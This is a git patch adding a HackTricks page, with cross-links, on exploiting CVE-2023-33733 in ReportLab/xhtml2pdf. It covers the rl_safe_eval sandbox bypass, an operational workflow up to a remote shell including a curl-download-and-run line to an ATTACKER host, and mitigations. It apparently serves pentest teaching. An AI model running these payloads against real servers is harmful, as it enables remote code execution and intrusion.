From fdb533d0f75ccd27b21d15b982b14ff3b3b813cd Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Wed, 27 Aug 2025 18:54:18 +0000 Subject: [PATCH] =?UTF-8?q?Add=20content=20from:=20University=20(HTB):=20E?= =?UTF-8?q?xploiting=20ReportLab=20CVE=E2=80=912023=E2=80=9133733=20to=20g?= =?UTF-8?q?ai...?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Remove searchindex.js (auto-generated file) --- src/SUMMARY.md | 1 + .../python/bypass-python-sandboxes/README.md | 11 +++ ...xpression-evaluation-rce-cve-2023-33733.md | 79 +++++++++++++++++++ .../pentesting-web/django.md | 10 +++ 4 files changed, 101 insertions(+) create mode 100644 src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 1659bf643..1b61cadc6 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -70,6 +70,7 @@ - [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md) - [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) - [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md) + - [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md) - [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md) - [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md) diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index 006748ab6..bb6ab86b9 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -136,6 +136,14 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` +Also see a real-world sandboxed evaluator escape in PDF generators: + +- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). It abuses rl_safe_eval to reach function.__globals__ and os.system from evaluated attributes (for example, font color) and returns a valid value to keep rendering stable. + +{{#ref}} +reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md +{{#endref}} + ## Operators and short tricks ```python @@ -1147,5 +1155,8 @@ will be bypassed - [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape) - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html) - [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) +- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733) +- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733) +- [0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md new file mode 100644 index 000000000..832cd84f9 --- /dev/null +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md @@ -0,0 +1,79 @@ +# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733) + +{{#include ../../../banners/hacktricks-training.md}} + +This page documents a practical sandbox escape and RCE primitive in ReportLab’s rl_safe_eval used by xhtml2pdf and other PDF-generation pipelines when rendering user-controlled HTML into PDFs. + +CVE-2023-33733 affects ReportLab versions up to and including 3.6.12. In certain attribute contexts (for example color), values wrapped in triple brackets [[[ ... ]]] are evaluated server-side by rl_safe_eval. By crafting a payload that pivots from a whitelisted builtin (pow) to its Python function globals, an attacker can reach the os module and execute commands. + +Key points +- Trigger: inject [[[ ... ]]] into evaluated attributes such as within markup parsed by ReportLab/xhtml2pdf. +- Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose __globals__. +- Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string "__globals__" while avoiding blocked dunder filtering. +- RCE: getattr(pow, Word("__globals__"))["os"].system("") +- Stability: Return a valid value for the attribute after execution (for color, use and 'red'). + +When to test +- Applications that expose HTML-to-PDF export (profiles, invoices, reports) and show xhtml2pdf/ReportLab in PDF metadata or HTTP response comments. + - exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer + - HTTP response for PDF often starts with a ReportLab generator comment + +How the sandbox bypass works +- rl_safe_eval removes or replaces many builtins (getattr, type, pow, ...) and applies name filtering to deny attributes starting with __ or in a denylist. +- However, safe functions live in a globals dictionary accessible as func.__globals__. +- Use type(type(1)) to recover the real builtin type function (bypassing ReportLab’s wrapper), then define a Word class derived from str with mutated comparison behavior so that: + - .startswith('__') → always False (bypass name startswith('__') check) + - .__eq__ returns False only at first comparison (bypass denylist membership checks) and True afterwards (so Python getattr works) + - .__hash__ equals hash(str(self)) +- With this, getattr(pow, Word('__globals__')) returns the globals dict of the wrapped pow function, which includes an imported os module. Then: ['os'].system(''). + +Minimal exploitation pattern (attribute example) +Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and 'red'. + + + exploit + + +- The list-comprehension form allows a single expression acceptable to rl_safe_eval. +- The trailing and 'red' returns a valid CSS color so the rendering doesn’t break. +- Replace the command as needed; use ping to validate execution with tcpdump. + +Operational workflow +1) Identify PDF generator + - PDF Producer shows xhtml2pdf; HTTP response contains ReportLab comment. +2) Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export. +3) Verify execution with low-noise ICMP + - Run: sudo tcpdump -ni icmp + - Payload: ... system('ping ') ... + - Windows often sends exactly four echo requests by default. +4) Establish a shell + - For Windows, a reliable two-stage approach avoids quoting/encoding issues: + - Stage 1 (download): + +exploit + + - Stage 2 (execute): + +exploit + + - For Linux targets, similar two-stage with curl/wget is possible: + - system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s') + +Notes and tips +- Attribute contexts: color is a known evaluated attribute; other attributes in ReportLab markup may also evaluate expressions. If one location is sanitized, try others rendered into the PDF flow (different fields, table styles, etc.). +- Quoting: Keep commands compact. Two-stage downloads drastically reduce quoting and escaping headaches. +- Reliability: If exports are cached or queued, slightly vary the payload (e.g., random path or query) to avoid hitting caches. + +Mitigations and detection +- Upgrade ReportLab to 3.6.13 or later (CVE-2023-33733 fixed). Track security advisories in distro packages as well. +- Do not feed user-controlled HTML/markup directly into xhtml2pdf/ReportLab without strict sanitization. Remove/deny [[[...]]] evaluation constructs and vendor-specific tags when input is untrusted. +- Consider disabling or wrapping rl_safe_eval usage entirely for untrusted inputs. +- Monitor for suspicious outbound connections during PDF generation (e.g., ICMP/HTTP from app servers when exporting documents). + +References +- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733) +- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html) +- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733) +- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html) + +{{#include ../../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index 90c75a794..6e01ef9e5 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -37,6 +37,15 @@ The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering --- +### Also see: ReportLab/xhtml2pdf PDF export RCE +Applications built on Django commonly integrate xhtml2pdf/ReportLab to export views as PDF. When user-controlled HTML flows into PDF generation, rl_safe_eval may evaluate expressions inside triple brackets `[[[ ... ]]]` enabling code execution (CVE-2023-33733). Details, payloads, and mitigations: + +{{#ref}} +../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md +{{#endref}} + +--- + ## Pickle-Backed Session Cookie RCE If the setting `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` is enabled (or a custom serializer that deserialises pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Therefore, possessing a valid signing key (the project `SECRET_KEY` by default) is enough for immediate remote code execution. @@ -75,5 +84,6 @@ Always fingerprint the exact framework version via the `X-Frame-Options` error p ## References * Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025. * OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024. +* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html) {{#include ../../banners/hacktricks-training.md}}